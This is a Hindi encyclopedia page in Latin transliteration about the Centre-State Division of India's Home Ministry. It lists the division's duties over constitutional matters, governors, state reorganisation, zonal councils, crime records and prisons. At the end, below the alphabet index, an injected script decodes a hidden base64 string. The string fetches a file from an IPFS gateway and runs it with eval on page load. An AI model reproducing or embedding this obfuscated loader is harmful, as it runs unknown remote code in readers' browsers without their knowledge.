केन्द्र-राज्य प्रभाग

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search

kendr-rajy prabhag athava si. es. prabhag bharat ke grih mantralay ke adhin bharat ke kendr shasit pradesh aur rajyoan ke sanbandhoan ke kary dekhata hai, jinamean is prakar ke sanbandhoan ko shasit karane vale sanvaidhanik pravadhanoan ka karyanvanayan, rajyapaloan ki niyukti, ne rajyoan ka srijan, rajy sabha / lok sabha ke lie namaankan, antarrajy‍ sima vivad, rajyoan mean aparadh ki sthiti par nigarani rakhana, rashtrapati shasan lagana aur kraim eand kriminal traikiang netavark sistanam (si. si. ti. en. es.) se sanbandhit kary shamil haian.

kendr-rajy prabhag ka adhidesh

kendr-rajy prabhag nimnalikhit mamaloan se sanbandhit kary karata hai:

1. kendr-rajy sanvaidhanik mamale
  • rajyoan mean sanvaidhanik sankat – kisi rajy mean rashtrapati shasan lagoo karane aur pratisanharan se sanbandhit sanvidhan ke anuchchhed 356 ke tahat aur any sanbandhit mamaloan mean udghoshana jari karana.
  • aantar-rajy parishad ke mamale, jinamean kendr-rajy sanbandhoan par sarakariya ayog dvara ki gee sipharishean shamil haian.
2. rashtrapati, rajyapaloan aur rajy sabha tatha lok sabha mean namit sadasyoan se sanbandhit mamale
  • sabhi rajyoan ke rajyapaloan ki niyukti, bhatte aur visheshadhikar.
  • rashtrapati aur kendriy mantriyoan ke vetan, bhatte aur visheshadhikar.
  • bhoot-poorv rashtrapatiyoan aur up-rashtrapatiyoan ki peanshan aur sevanivritti ke any labh.
  • sanvidhan ke anuchchhed 80 (1) (k) ke tahat rajy sabha mean namaankan.
  • sanvidhan ke anuchchhed 131 ke anusar lok sabha mean do aangl bharatiyoan ka namaankan.
3. rajyoan ka punargathan
  • ne rajyoan / sangh rajy kshetroan ke gathan ki maang.
  • rajy punargathan adhiniyam, 1956 aur any punargathan kanoonoan ke upabandhoan ki vyakhya.
  • poorvottar rajyoan ke bich / unamean chal rahe vivadoan ko chho d kar aantar-rajy sima vivad.
  • punargathan kanoonoan ke tahat punargathit rajyoan ke bich astiyoan aur parisanpattiyoan ka sanvibhajan.
  • anuchchhed 371(2) ke tahat vikas bordoan ka gathan
4. aanchalik parishad
  • aanchalik parishadoan se sanbandhit ve vittiy aur prashasanik mamale jinake lie bharat sarakar ki manjoori apekshit hai.
  • rajy punargathan adhiniyam, 1956 ke upabandhoan ke tahat paanch aanchalik parishadoan ka srijan kiya gaya hai, yatha poorvi aanchalik parishad, madhy aanchalik parishad, pashchimi aanchalik parishad, dakshini aanchalik parishad aur uttari aanchalik parishad. parishadoan ke adhyaksh, kendriy grih mantri hote haian aur pratyek rajy ke mukhy mantri, aanchaloan ka pratinidhitv karate haian. in parishadoan ka uddeshy, baithak ke lie sajha sthal pradan karana aur aantar-rajy tatha kendr-rajy samasyaoan ko hal karana hai.
5. aparadh nivaran aur niyantran
  • pulis’ aur ‘lok vyavastha’ rajy ke vishay haian. tathapi, grih mantralay, anusoochit jati/anusoochit janajati, mahilaoan, bachchoan aur vriddh vyakti jaise samaj ke kamazor vargoan ke prati aparadhoan ko kam karane par jor dete hue sabhi aparadhoan ko prabhavi dhang se rokane aur niyantrit karane ki drishti se daandik nyay pranali ke prashasan mean sudhar kie jane par aur adhik dhyan dene ke lie rajy sarakaroan ko samay-samay par salah deta raha hai.
6. rashtriy aparadh rikard byooro (en. si. ar. bi.) ka prashasanik niyantran
  • varsh 1986 mean gathit en. si. ar. bi. ko aparadh sanbandhi aank de milane ki jimmedari sauanpi gee hai.
7. karagar
  • sanvidhan ki satavian anusoochi ki soochi .. ke anusar karagar, rajy ka vishay hai aur karagar prashasan ki mukhy jimmedari, sanbandhit rajy sarakaroan ki hai. tathapi, bharat sarakar ne varsh 2002-2003 mean karagaroan ke adhunikikaran ke lie ek nee yojana shuroo ki hai jisake tahat rajy sarakaroan ko 75% anudan diya ja raha hai, 25% unase a raha hai. karagar sudharoan se sanbandhit nitigat kagajoan ka masauda taiyar kiya ja raha hai.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

bahari k diyaan

sanbandhit lekh


varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>